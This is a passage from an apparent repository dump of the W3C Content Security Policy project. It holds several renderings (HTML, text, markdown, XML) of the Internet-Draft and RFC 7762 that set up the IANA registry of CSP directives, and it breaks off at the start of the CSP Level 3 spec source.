Registry</a></h1>\n<p id=\"rfc.section.3.1.p.1\">New Content Security Policy directives, and updates to existing directives, must be registered with IANA.</p>\n<p id=\"rfc.section.3.1.p.2\">When registering a new Content Security Policy directive, the following information must be provided:</p>\n<pre>\ndirective-name  = 1*( ALPHA / DIGIT / \"-\" )\n</pre>\n<p/>\n\n<ul>\n  <li>The directive&#8217;s name, an ASCII string conforming to the <samp>directive-name</samp> rule specified in Section 4.1 of <a href=\"#CSP\">[CSP]</a>. The ABNF <a href=\"#RFC5234\">[RFC5234]</a> is as follows:  <br/><br/> </li>\n  <li>A reference to the readily available public specification defining the new directive&#8217;s syntax, usage, and semantics.</li>\n</ul>\n<p id=\"rfc.section.3.1.p.4\">The following table contains the initial values for this registry:</p>\n<table cellpadding=\"3\" cellspacing=\"0\" class=\"tt full center\">\n  <thead>\n    <tr>\n      <th class=\"left\">Directive Name</th>\n      <th class=\"left\">Reference</th>\n    </tr>\n  </thead>\n  <tbody>\n    <tr>\n      <td class=\"left\">base-uri</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">child-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">connect-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">default-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">font-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">form-action</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">frame-ancestors</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">frame-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">img-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">media-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">object-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">plugin-types</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">report-uri</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">sandbox</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">script-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">style-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n  </tbody>\n</table>\n<h1 id=\"rfc.section.3.2\"><a href=\"#rfc.section.3.2\">3.2.</a> <a href=\"#registration-policy-for-content-security-policy-directives\" id=\"registration-policy-for-content-security-policy-directives\">Registration Policy for Content Security Policy directives</a></h1>\n<p id=\"rfc.section.3.2.p.1\">The registration policy for Content Security Policy directives is &#8220;Specification Required&#8221; <a href=\"#RFC5226\">[RFC5226]</a>, which uses a designated expert to review the specification.</p>\n<p id=\"rfc.section.3.2.p.2\">When appointing an Expert (or Experts), the IESG SHOULD draw from the W3C&#8217;s security community, coordinating through the liaison.</p>\n<p id=\"rfc.section.3.2.p.3\">The designated expert, when deliberating on whether to include a new directive in the registry, should consider the following criteria. This is not an exhaustive list, but representative of the issues to consider when rendering a decision:</p>\n<p/>\n\n<ul>\n  <li>Content Security Policy is a restrictive feature, which allows web developers to deny themselves access to resources and APIs which would otherwise be available. Deploying Content Security Policy is, therefore, a strict reduction in risk. The expert should carefully consider whether proposed directives would violate this property.</li>\n  <li>Granular directives are valuable, but the expert should strive to strike a reasonable balance between providing developers with all the knobs and switches possible, and providing only those with known security implications.</li>\n</ul>\n<h1 id=\"rfc.section.4\"><a href=\"#rfc.section.4\">4.</a> <a href=\"#security-considerations\" id=\"security-considerations\">Security Considerations</a></h1>\n<p id=\"rfc.section.4.p.1\">The registry in this document does not in itself have security implications. The directives specified, however, certainly do. The documents referenced when registering new directives must contain detailed security and privacy considerations sections, and should contain usage information which informs web developers as to the directive&#8217;s expected implementation.</p>\n<h1 id=\"rfc.references\"><a href=\"#rfc.references\">5.</a> References</h1>\n<h1 id=\"rfc.references.1\"><a href=\"#rfc.references.1\">5.1.</a> Normative References</h1>\n<table>\n  <tbody>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"CSP\">[CSP]</b>\n      </td>\n      <td class=\"top\"><a title=\"Google, Inc.\">West, M.</a>, <a title=\"Google, Inc.\">Barth, A.</a> and <a title=\"Mozilla\">D. Veditz</a>, \"<a href=\"https://www.w3.org/TR/CSP2\">Content Security Policy Level 2</a>\", n.d..</td>\n    </tr>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"RFC5226\">[RFC5226]</b>\n      </td>\n      <td class=\"top\"><a>Narten, T.</a> and <a>H. Alvestrand</a>, \"<a href=\"http://tools.ietf.org/html/rfc5226\">Guidelines for Writing an IANA Considerations Section in RFCs</a>\", BCP 26, RFC 5226, DOI 10.17487/RFC5226, May 2008.</td>\n    </tr>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"RFC5234\">[RFC5234]</b>\n      </td>\n      <td class=\"top\"><a>Crocker, D.</a> and <a>P. Overell</a>, \"<a href=\"http://tools.ietf.org/html/rfc5234\">Augmented BNF for Syntax Specifications: ABNF</a>\", STD 68, RFC 5234, DOI 10.17487/RFC5234, January 2008.</td>\n    </tr>\n  </tbody>\n</table>\n<h1 id=\"rfc.references.2\"><a href=\"#rfc.references.2\">5.2.</a> Informative References</h1>\n<table>\n  <tbody>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"RFC5341\">[RFC5341]</b>\n      </td>\n      <td class=\"top\"><a>Jennings, C.</a> and <a>V. Gurbani</a>, \"<a href=\"http://tools.ietf.org/html/rfc5341\">The Internet Assigned Number Authority (IANA) tel Uniform Resource Identifier (URI) Parameter Registry</a>\", RFC 5341, DOI 10.17487/RFC5341, September 2008.</td>\n    </tr>\n  </tbody>\n</table>\n<h1 id=\"rfc.appendix.A\"><a href=\"#rfc.appendix.A\">Appendix A.</a> <a href=\"#acknowledgements\" id=\"acknowledgements\">Acknowledgements</a></h1>\n<p id=\"rfc.section.A.p.1\">Much of this document&#8217;s structure comes from <a href=\"#RFC5341\">[RFC5341]</a>. Thank you to Cullen Jennings and Vijay K. Gurbani for giving me a reasonable template to work within, and to Barry Leiba for his helpful commentary and suggestions.</p>\n<h1 id=\"rfc.authors\">\n  <a href=\"#rfc.authors\">Author's Address</a>\n</h1>\n<div class=\"avoidbreak\">\n  <address class=\"vcard\">\n\t<span class=\"vcardline\">\n\t  <span class=\"fn\">Mike West</span> \n\t  <span class=\"n hidden\">\n\t\t<span class=\"family-name\">West</span>\n\t  </span>\n\t</span>\n\t<span class=\"org vcardline\">Google, Inc</span>\n\t<span class=\"adr\">\n\t  \n\t  <span class=\"vcardline\">\n\t\t<span class=\"locality\"></span> \n\t\t<span class=\"region\"></span>\n\t\t<span class=\"code\"></span>\n\t  </span>\n\t  <span class=\"country-name vcardline\"></span>\n\t</span>\n\t<span class=\"vcardline\">EMail: <a href=\"mailto:mkwst@google.com\">mkwst@google.com</a></span>\n\n<span class=\"vcardline\">URI: <a href=\"https://mikewest.org/\">https://mikewest.org/</a></span>\n\n  </address>\n</div>\n\n</body>\n</html>\n"
  },
  {
    "path": "iana/draft-west-webappsec-csp-reg-04.txt",
    "content": "\n\n\n\nNetwork Working Group                                            M. West\nInternet-Draft                                               Google, Inc\nIntended status: Informational                         November 20, 2015\nExpires: May 23, 2016\n\n\n  Initial Assignment for a Content Security Policy Directive Registry\n                    draft-west-webappsec-csp-reg-04\n\nAbstract\n\n   This document establishes an Internet Assigned Number Authority\n   (IANA) registry for Content Security Policy directives, and populates\n   that registry with the directives defined in the Content Security\n   Policy Level 2 specification.\n\nStatus of This Memo\n\n   This Internet-Draft is submitted in full conformance with the\n   provisions of BCP 78 and BCP 79.\n\n   Internet-Drafts are working documents of the Internet Engineering\n   Task Force (IETF).  Note that other groups may also distribute\n   working documents as Internet-Drafts.  The list of current Internet-\n   Drafts is at http://datatracker.ietf.org/drafts/current/.\n\n   Internet-Drafts are draft documents valid for a maximum of six months\n   and may be updated, replaced, or obsoleted by other documents at any\n   time.  It is inappropriate to use Internet-Drafts as reference\n   material or to cite them other than as \"work in progress.\"\n\n   This Internet-Draft will expire on May 23, 2016.\n\nCopyright Notice\n\n   Copyright (c) 2015 IETF Trust and the persons identified as the\n   document authors.  All rights reserved.\n\n   This document is subject to BCP 78 and the IETF Trust's Legal\n   Provisions Relating to IETF Documents\n   (http://trustee.ietf.org/license-info) in effect on the date of\n   publication of this document.  Please review these documents\n   carefully, as they describe your rights and restrictions with respect\n   to this document.  Code Components extracted from this document must\n   include Simplified BSD License text as described in Section 4.e of\n   the Trust Legal Provisions and are provided without warranty as\n   described in the Simplified BSD License.\n\n\n\n\nWest                      Expires May 23, 2016                  [Page 1]\n\f\nInternet-Draft              webappsec-csp-reg              November 2015\n\n\nTable of Contents\n\n   1.  Introduction  . . . . . . . . . . . . . . . . . . . . . . . .   2\n   2.  Use of the Registry . . . . . . . . . . . . . . . . . . . . .   2\n   3.  IANA Considerations . . . . . . . . . . . . . . . . . . . . .   2\n     3.1.  Content Security Policy directives Registry . . . . . . .   3\n     3.2.  Registration Policy for Content Security Policy\n           directives  . . . . . . . . . . . . . . . . . . . . . . .   3\n   4.  Security Considerations . . . . . . . . . . . . . . . . . . .   4\n   5.  References  . . . . . . . . . . . . . . . . . . . . . . . . .   4\n     5.1.  Normative References  . . . . . . . . . . . . . . . . . .   4\n     5.2.  Informative References  . . . . . . . . . . . . . . . . .   5\n   Appendix A.  Acknowledgements . . . . . . . . . . . . . . . . . .   5\n   Author's Address  . . . . . . . . . . . . . . . . . . . . . . . .   5\n\n1.  Introduction\n\n   The Content Security Policy specification [CSP] defines a mechanism\n   by which web developers can control the resources which a particular\n   page can fetch or execute, as well as a number of security-relevant\n   policy decisions.\n\n   The policy language specified in that document consists of an\n   extensible set of \"directives\", each of which controls a specific\n   resource type or policy decision.  This specification establishes a\n   registry to ensure that extensions to CSP are listed and\n   standardized.\n\n2.  Use of the Registry\n\n   Content Security Policy directives must be documented in a readily\n   available public specification in order to be registered by IANA.\n   This documentation must fully explain the syntax, intended usage, and\n   semantics of the directive.  The intent of this requirement is to\n   assure interoperable independent implementations, and to prevent\n   accidental namespace collisions between implementations of dissimilar\n   features.\n\n   Documents defining new Content Security Policy directives must\n   register them with IANA, as described in Section 3.  The IANA\n   registration policy for such parameters is \"Specification Required\"\n   [RFC5226], and is further discussed in Section 3.2.\n\n3.  IANA Considerations\n\n   This specification creates a new top-level IANA registry named\n   \"Content Security Policy directives\".\n\n\n\n\nWest                      Expires May 23, 2016                  [Page 2]\n\f\nInternet-Draft              webappsec-csp-reg              November 2015\n\n\n3.1.  Content Security Policy directives Registry\n\n   New Content Security Policy directives, and updates to existing\n   directives, must be registered with IANA.\n\n   When registering a new Content Security Policy directive, the\n   following information must be provided:\n\n   o  The directive's name, an ASCII string conforming to the\n      \"directive-name\" rule specified in Section 4.1 of [CSP].  The ABNF\n      [RFC5234] is as follows:\n\n\n\n   directive-name  = 1*( ALPHA / DIGIT / \"-\" )\n\n   o  A reference to the readily available public specification defining\n      the new directive's syntax, usage, and semantics.\n\n   The following table contains the initial values for this registry:\n\n                      +-----------------+-----------+\n                      | Directive Name  | Reference |\n                      +-----------------+-----------+\n                      | base-uri        | [CSP]     |\n                      | child-src       | [CSP]     |\n                      | connect-src     | [CSP]     |\n                      | default-src     | [CSP]     |\n                      | font-src        | [CSP]     |\n                      | form-action     | [CSP]     |\n                      | frame-ancestors | [CSP]     |\n                      | frame-src       | [CSP]     |\n                      | img-src         | [CSP]     |\n                      | media-src       | [CSP]     |\n                      | object-src      | [CSP]     |\n                      | plugin-types    | [CSP]     |\n                      | report-uri      | [CSP]     |\n                      | sandbox         | [CSP]     |\n                      | script-src      | [CSP]     |\n                      | style-src       | [CSP]     |\n                      +-----------------+-----------+\n\n3.2.  Registration Policy for Content Security Policy directives\n\n   The registration policy for Content Security Policy directives is\n   \"Specification Required\" [RFC5226], which uses a designated expert to\n   review the specification.\n\n\n\n\nWest                      Expires May 23, 2016                  [Page 3]\n\f\nInternet-Draft              webappsec-csp-reg              November 2015\n\n\n   When appointing an Expert (or Experts), the IESG SHOULD draw from the\n   W3C's security community, coordinating through the liaison.\n\n   The designated expert, when deliberating on whether to include a new\n   directive in the registry, should consider the following criteria.\n   This is not an exhaustive list, but representative of the issues to\n   consider when rendering a decision:\n\n   o  Content Security Policy is a restrictive feature, which allows web\n      developers to deny themselves access to resources and APIs which\n      would otherwise be available.  Deploying Content Security Policy\n      is, therefore, a strict reduction in risk.  The expert should\n      carefully consider whether proposed directives would violate this\n      property.\n\n   o  Granular directives are valuable, but the expert should strive to\n      strike a reasonable balance between providing developers with all\n      the knobs and switches possible, and providing only those with\n      known security implications.\n\n4.  Security Considerations\n\n   The registry in this document does not in itself have security\n   implications.  The directives specified, however, certainly do.  The\n   documents referenced when registering new directives must contain\n   detailed security and privacy considerations sections, and should\n   contain usage information which informs web developers as to the\n   directive's expected implementation.\n\n5.  References\n\n5.1.  Normative References\n\n   [CSP]      West, M., Barth, A., and D. Veditz, \"Content Security\n              Policy Level 2\", n.d., <https://www.w3.org/TR/CSP2>.\n\n   [RFC5226]  Narten, T. and H. Alvestrand, \"Guidelines for Writing an\n              IANA Considerations Section in RFCs\", BCP 26, RFC 5226,\n              DOI 10.17487/RFC5226, May 2008,\n              <http://www.rfc-editor.org/info/rfc5226>.\n\n   [RFC5234]  Crocker, D., Ed. and P. Overell, \"Augmented BNF for Syntax\n              Specifications: ABNF\", STD 68, RFC 5234, DOI 10.17487/\n              RFC5234, January 2008,\n              <http://www.rfc-editor.org/info/rfc5234>.\n\n\n\n\n\n\nWest                      Expires May 23, 2016                  [Page 4]\n\f\nInternet-Draft              webappsec-csp-reg              November 2015\n\n\n5.2.  Informative References\n\n   [RFC5341]  Jennings, C. and V. Gurbani, \"The Internet Assigned Number\n              Authority (IANA) tel Uniform Resource Identifier (URI)\n              Parameter Registry\", RFC 5341, DOI 10.17487/RFC5341,\n              September 2008, <http://www.rfc-editor.org/info/rfc5341>.\n\nAppendix A.  Acknowledgements\n\n   Much of this document's structure comes from [RFC5341].  Thank you to\n   Cullen Jennings and Vijay K.  Gurbani for giving me a reasonable\n   template to work within, and to Barry Leiba for his helpful\n   commentary and suggestions.\n\nAuthor's Address\n\n   Mike West\n   Google, Inc\n\n   Email: mkwst@google.com\n   URI:   https://mikewest.org/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nWest                      Expires May 23, 2016                  [Page 5]\n"
  },
  {
    "path": "iana/draft.md",
    "content": "---\ntitle: Initial Assignment for a Content Security Policy Directive Registry\nabbrev: webappsec-csp-reg\ndocname: draft-west-webappsec-csp-reg-04\ndate: 2015\ncategory: info\n\nipr: trust200902\narea: General\nkeyword: Internet-Draft\n\npi: [toc, tocindent, sortrefs, symrefs, strict, compact, comments, inline]\n\nauthor:\n-\n  ins: M. West\n  name: Mike West\n  organization: Google, Inc\n  email: mkwst@google.com\n  uri: https://mikewest.org/\n\nnormative:\n  CSP:\n    target: https://www.w3.org/TR/CSP2\n    title: Content Security Policy Level 2\n    author:\n    -\n      ins: M. West\n      name: Mike West\n      organization: Google, Inc.\n    -\n      ins: A. Barth\n      name: Adam Barth\n      organization: Google, Inc.\n    -\n      ins: D. Veditz\n      name: Dan Veditz\n      organization: Mozilla\n  RFC5226:\n  RFC5234:\n\ninformative:\n  RFC5341:\n\n--- abstract\n\nThis document establishes an Internet Assigned Number Authority (IANA) registry\nfor Content Security Policy directives, and populates that registry with the\ndirectives defined in the Content Security Policy Level 2 specification.\n\n--- middle\n\n# Introduction\n\nThe Content Security Policy specification {{CSP}} defines a mechanism by which\nweb developers can control the resources which a particular page can fetch or\nexecute, as well as a number of security-relevant policy decisions.\n\nThe policy language specified in that document consists of an extensible set\nof \"directives\", each of which controls a specific resource type or policy\ndecision. This specification establishes a registry to ensure that extensions\nto CSP are listed and standardized.\n\n# Use of the Registry\n\nContent Security Policy directives must be documented in a readily available\npublic specification in order to be registered by IANA. This documentation must\nfully explain the syntax, intended usage, and semantics of the directive. The\nintent of this requirement is to assure interoperable independent\nimplementations, and to prevent accidental namespace collisions between\nimplementations of dissimilar features.\n\nDocuments defining new Content Security Policy directives must register them\nwith IANA, as described in Section 3. The IANA registration policy for such\nparameters is \"Specification Required\" {{RFC5226}}, and is further discussed\nin Section 3.2.\n\n# IANA Considerations\n\nThis specification creates a new top-level IANA registry named \"Content Security\nPolicy directives\".\n\n## Content Security Policy directives Registry\n\nNew Content Security Policy directives, and updates to existing directives, must\nbe registered with IANA.\n\nWhen registering a new Content Security Policy directive, the following\ninformation must be provided:\n\n* The directive's name, an ASCII string conforming to the `directive-name`\n  rule specified in Section 4.1 of {{CSP}}. The ABNF {{RFC5234}} is as follows:\n\n      directive-name  = 1*( ALPHA / DIGIT / \"-\" )\n\n* A reference to the readily available public specification defining the new\n  directive's syntax, usage, and semantics.\n\nThe following table contains the initial values for this registry:\n\n| Directive Name  | Reference |\n| base-uri        | {{CSP}}   |\n| child-src       | {{CSP}}   |\n| connect-src     | {{CSP}}   |\n| default-src     | {{CSP}}   |\n| font-src        | {{CSP}}   |\n| form-action     | {{CSP}}   |\n| frame-ancestors | {{CSP}}   |\n| frame-src       | {{CSP}}   |\n| img-src         | {{CSP}}   |\n| media-src       | {{CSP}}   |\n| object-src      | {{CSP}}   |\n| plugin-types    | {{CSP}}   |\n| report-uri      | {{CSP}}   |\n| sandbox         | {{CSP}}   |\n| script-src      | {{CSP}}   |\n| style-src       | {{CSP}}   |\n\n## Registration Policy for Content Security Policy directives\n\nThe registration policy for Content Security Policy directives is \"Specification\nRequired\" {{RFC5226}}, which uses a designated expert to review the\nspecification.\n\nWhen appointing an Expert (or Experts), the IESG SHOULD draw from the W3C's\nsecurity community, coordinating through the liaison.\n\nThe designated expert, when deliberating on whether to include a new directive\nin the registry, should consider the following criteria. This is not an\nexhaustive list, but representative of the issues to consider when rendering a\ndecision:\n\n* Content Security Policy is a restrictive feature, which allows web developers\n  to deny themselves access to resources and APIs which would otherwise be\n  available. Deploying Content Security Policy is, therefore, a strict reduction\n  in risk. The expert should carefully consider whether proposed directives\n  would violate this property.\n\n* Granular directives are valuable, but the expert should strive to strike a\n  reasonable balance between providing developers with all the knobs and\n  switches possible, and providing only those with known security implications.\n\n# Security Considerations\n\nThe registry in this document does not in itself have security implications. The\ndirectives specified, however, certainly do. The documents referenced when\nregistering new directives must contain detailed security and privacy\nconsiderations sections, and should contain usage information which informs web\ndevelopers as to the directive's expected implementation.\n\n--- back\n\n# Acknowledgements\n\nMuch of this document's structure comes from {{RFC5341}}. Thank you to Cullen\nJennings and Vijay K. Gurbani for giving me a reasonable template to work\nwithin, and to Barry Leiba for his helpful commentary and suggestions.\n"
  },
  {
    "path": "iana/rfc7762.xml",
    "content": "<?xml version=\"1.0\" encoding=\"US-ASCII\"?>\n  <?xml-stylesheet type=\"text/xsl\" href=\"rfc2629.xslt\" ?>\n  <!-- generated by https://github.com/cabo/kramdown-rfc2629 version 1.0.28 -->\n\n<!DOCTYPE rfc SYSTEM \"rfc2629.dtd\" [\n<!ENTITY RFC2119 SYSTEM \"http://xml2rfc.ietf.org/public/rfc/bibxml/reference.RFC.2119.xml\">\n<!ENTITY RFC5226 SYSTEM \"http://xml2rfc.ietf.org/public/rfc/bibxml/reference.RFC.5226.xml\">\n<!ENTITY RFC5234 SYSTEM \"http://xml2rfc.ietf.org/public/rfc/bibxml/reference.RFC.5234.xml\">\n<!ENTITY RFC5341 SYSTEM \"http://xml2rfc.ietf.org/public/rfc/bibxml/reference.RFC.5341.xml\">\n]>\n\n\n<?rfc toc=\"yes\"?>\n<?rfc tocindent=\"yes\"?>\n<?rfc sortrefs=\"yes\"?>\n<?rfc symrefs=\"yes\"?>\n<?rfc strict=\"yes\"?>\n<?rfc compact=\"yes\"?>\n<?rfc subcompact=\"no\" ?>\n<?rfc comments=\"yes\"?>\n<?rfc inline=\"yes\"?>\n\n<rfc number=\"7762\" category=\"info\" submissionType=\"IETF\" consensus=\"yes\"\n  ipr=\"trust200902\">\n\n\n  <front>\n    <title abbrev=\"Content Security Policy Registry Assignments\">Initial Assignment for the Content Security Policy Directives Registry</title>\n\n    <author initials=\"M.\" surname=\"West\" fullname=\"Mike West\">\n      <organization>Google, Inc</organization>\n      <address>\n        <email>mkwst@google.com</email>\n        <uri>https://mikewest.org/</uri>\n      </address>\n    </author>\n\n    <date month=\"January\"  year=\"2016\"/>\n\n<keyword>CSP</keyword>\n<keyword>W3C</keyword>\n\n    <abstract>\n\n\n<t>This document establishes an Internet Assigned Number Authority (IANA) registry\nfor Content Security Policy directives and populates that registry with the\ndirectives defined in the Content Security Policy Level 2 specification.</t>\n\n\n\n    </abstract>\n\n\n  </front>\n\n  <middle>\n\n\n<section anchor=\"introduction\" title=\"Introduction\">\n\n<t>The Content Security Policy (CSP) specification <xref target=\"CSP\"/>\ndefines a mechanism that web developers can use to control the resources which a\nparticular page can fetch or execute, as well as a number of additional\nsecurity-relevant policy decisions.</t>\n\n<t>The policy language specified in that document consists of an extensible set\nof \"directives\", each of which controls a specific resource type or policy\ndecision. This specification establishes a registry to ensure that extensions\nto CSP are listed and standardized.</t>\n\n</section>\n<section anchor=\"terminology\" title=\"Terminology\">\n\n<t>The key words “MUST”, “MUST NOT”, “REQUIRED”, “SHALL”, “SHALL NOT”, “SHOULD”,\n“SHOULD NOT”, “RECOMMENDED”, “MAY”, and “OPTIONAL” in this document are to be\ninterpreted as described in <xref target=\"RFC2119\"/>.</t>\n\n</section>\n<section anchor=\"use-of-the-registry\" title=\"Use of the Registry\">\n\n<t>Content Security Policy directives must be documented in a readily available\npublic specification in order to be registered by IANA. This documentation MUST\nfully explain the syntax, intended usage, and semantics of the directive. The\nintent of this requirement is to assure interoperable independent\nimplementations, and to prevent accidental namespace collisions between\nimplementations of dissimilar features.</t>\n\n<t>Documents defining new Content Security Policy directives MUST register them\nwith IANA, as described in Section 3. The IANA registration policy for such\nparameters is \"Specification Required\" <xref target=\"RFC5226\"/> and is further\ndiscussed in Section 3.2.</t>\n\n</section>\n<section anchor=\"iana-considerations\" title=\"IANA Considerations\">\n\n<t>This specification creates a new top-level IANA registry named \"Content Security\nPolicy Directives\".</t>\n\n<section anchor=\"content-security-policy-directives-registry\" title=\"Content Security Policy Directives Registry\">\n\n<t>New Content Security Policy directives, and updates to existing directives, MUST\nbe registered with IANA.</t>\n\n<t>When registering a new Content Security Policy directive, the following\ninformation MUST be provided:</t>\n\n<t><list style=\"symbols\">\n  <t>The directive's name, an ASCII string conforming to the <spanx style=\"verb\">directive-name</spanx>\nrule specified in Section 4.1 of <xref target=\"CSP\"/>. The ABNF <xref target=\"RFC5234\"/> is as follows:<vspace blankLines='1'/>\n    <figure><artwork><![CDATA[\n       directive-name  = 1*( ALPHA / DIGIT / \"-\" )\n]]></artwork></figure>\n  </t>\n  <t>A reference to the readily available public specification defining the new\ndirective's syntax, usage, and semantics.</t>\n</list></t>\n\n<t>The following table contains the initial values for this registry:</t>\n\n<texttable>\n      <ttcol align='left'>Directive Name</ttcol>\n      <ttcol align='left'>Reference</ttcol>\n      <c>base-uri</c>\n      <c><xref target=\"CSP\"/></c>\n      <c>child-src</c>\n      <c><xref target=\"CSP\"/></c>\n      <c>connect-src</c>\n      <c><xref target=\"CSP\"/></c>\n      <c>default-src</c>\n      <c><xref target=\"CSP\"/></c>\n      <c>font-src</c>\n      <c><xref target=\"CSP\"/></c>\n      <c>form-action</c>\n      <c><xref target=\"CSP\"/></c>\n      <c>frame-ancestors</c>\n      <c><xref target=\"CSP\"/></c>\n      <c>frame-src</c>\n      <c><xref target=\"CSP\"/></c>\n      <c>img-src</c>\n      <c><xref target=\"CSP\"/></c>\n      <c>media-src</c>\n      <c><xref target=\"CSP\"/></c>\n      <c>object-src</c>\n      <c><xref target=\"CSP\"/></c>\n      <c>plugin-types</c>\n      <c><xref target=\"CSP\"/></c>\n      <c>report-uri</c>\n      <c><xref target=\"CSP\"/></c>\n      <c>sandbox</c>\n      <c><xref target=\"CSP\"/></c>\n      <c>script-src</c>\n      <c><xref target=\"CSP\"/></c>\n      <c>style-src</c>\n      <c><xref target=\"CSP\"/></c>\n</texttable>\n\n</section>\n<section anchor=\"registration-policy-for-content-security-policy-directives\" title=\"Registration Policy for Content Security Policy Directives\">\n\n<t>The registration policy for Content Security Policy directives is \"Specification\nRequired\" <xref target=\"RFC5226\"/>, which uses a designated expert to review the\nspecification.</t>\n\n<t>When appointing an Expert (or Experts), the IESG SHOULD draw from the W3C's\nsecurity community, coordinating through the liaison.</t>\n\n<t>The designated expert, when deliberating on whether to include a new directive\nin the registry, SHOULD consider the following criteria. This is not an\nexhaustive list, but representative of the issues to consider when rendering a\ndecision:</t>\n\n<t><list style=\"symbols\">\n  <t>Content Security Policy is a restrictive feature, which allows web developers\nto deny themselves access to resources and APIs that would otherwise be\navailable. Deploying Content Security Policy is, therefore, a strict reduction\nin risk. The expert SHOULD carefully consider whether proposed directives\nwould violate this property.</t>\n  <t>Granular directives are valuable, but the expert SHOULD strive to strike a\nreasonable balance between providing developers with all the knobs and\nswitches possible and providing only those with known security implications.</t>\n</list></t>\n\n</section>\n</section>\n<section anchor=\"security-considerations\" title=\"Security Considerations\">\n\n<t>The registry in this document does not in itself have security implications. The\ndirectives specified, however, certainly do. The documents referenced when\nregistering new directives MUST contain detailed security and privacy\nconsiderations sections, and SHOULD contain usage information that informs web\ndevelopers as to the directive's expected implementation.</t>\n\n</section>\n\n\n  </middle>\n\n  <back>\n\n    <references title='Normative References'>\n\n<reference anchor=\"CSP\" target=\"https://www.w3.org/TR/CSP2\">\n  <front>\n    <title>Content Security Policy Level 2</title>\n    <author initials=\"M.\" surname=\"West\" fullname=\"Mike West\">\n      <organization>Google, Inc.</organization>\n    </author>\n    <author initials=\"A.\" surname=\"Barth\" fullname=\"Adam Barth\">\n      <organization>Google, Inc.</organization>\n    </author>\n    <author initials=\"D.\" surname=\"Veditz\" fullname=\"Dan Veditz\">\n      <organization>Mozilla</organization>\n    </author>\n    <date day=\"21\" month=\"July\" year=\"2015\"/>\n  </front>\n</reference>\n<!-- added date listed on https://www.w3.org/TR/CSP2/ - also matches what\nappears on\nhttp://xml2rfc.ietf.org/public/rfc/bibxml4/reference.W3C.CR-CSP2-20150721.xml \n-->\n&RFC2119;\n&RFC5226;\n&RFC5234;\n\n\n    </references>\n\n    <references title='Informative References'>\n\n&RFC5341;\n\n\n    </references>\n\n\n<section anchor=\"acknowledgements\" title=\"Acknowledgements\" numbered=\"no\">\n\n<t>Much of this document's structure comes from <xref target=\"RFC5341\"/>. Thank you to Cullen\nJennings and Vijay K.&nbsp;Gurbani for giving me a reasonable template to work\nwithin and to Barry Leiba for his helpful commentary and suggestions.</t>\n\n</section>\n\n\n  </back>\n</rfc>\n\n"
  },
  {
    "path": "index.bs",
    "content": "<h1>Content Security Policy Level 3</h1>\n<pre class=\"metadata\">\nStatus: ED\nED: https://w3c.github.io/webappsec-csp/\nTR: https://www.w3.org/TR/CSP3/\nShortname: CSP3\nLevel: None\nIssue Tracking: Github https://github.com/w3c/webappsec-csp/issues/new\nEditor: Mike West 56384, Google Inc., mkwst@google.com\nEditor: Antonio Sartori 124875, Google Inc., antoniosartori@google.com\nGroup: webappsec\nAbstract:\n  This document defines a mechanism by which web developers can control the\n  resources which a particular page can fetch or execute, as well as a number\n  of security-relevant policy decisions.\nIndent: 2\nVersion History: https://github.com/w3c/webappsec-csp/commits/main/index.src.html\nBoilerplate: feedback-header off\n!Participate: <a href=\"https://github.com/w3c/webappsec-csp/issues/new\">File an issue</a> (<a href=\"https://github.com/w3c/webappsec-csp/issues\">open issues</a>)\n!Tests: <a href=https://github.com/web-platform-tests/wpt/tree/master/content-security-policy>web-platform-tests content-security-policy/</a> (<a href=https://github.com/web-platform-tests/wpt/labels/content-security-policy>ongoing work</a>)\nMarkup Shorthands: css off, markdown on\nAt Risk: The [[#is-element-nonceable]] algorithm.\n</pre>\n<pre class=\"link-defaults\">\nspec:dom;\n  type: interface\n    text: Document\n  type: dfn\n    text: URL; url: https://dom.spec.whatwg.org/#dom-document-url\nspec:html\n  type: dfn\n    text: fallback base url\n    text: duplicate-attribute\n    text: parse error; for: /\n  type: element\n    text: a\n    text: link\n    text: meta\n    text: script\n    text: style\n  type: element-attr\n    text: ping\n  type:interface\n    text:SharedWorker\nspec:fetch\n  type: dfn\n    text: main fetch\n    text: http-network fetch\n    text: http fetch\n    text: response; for: /\nspec:url\n  type: dfn\n    text: default port\n    text: base url\n    text: domain\n    text: url; for: /\n  type:interface;\n    text:URL\nspec:cssom\n  type: dfn\n    text: insert 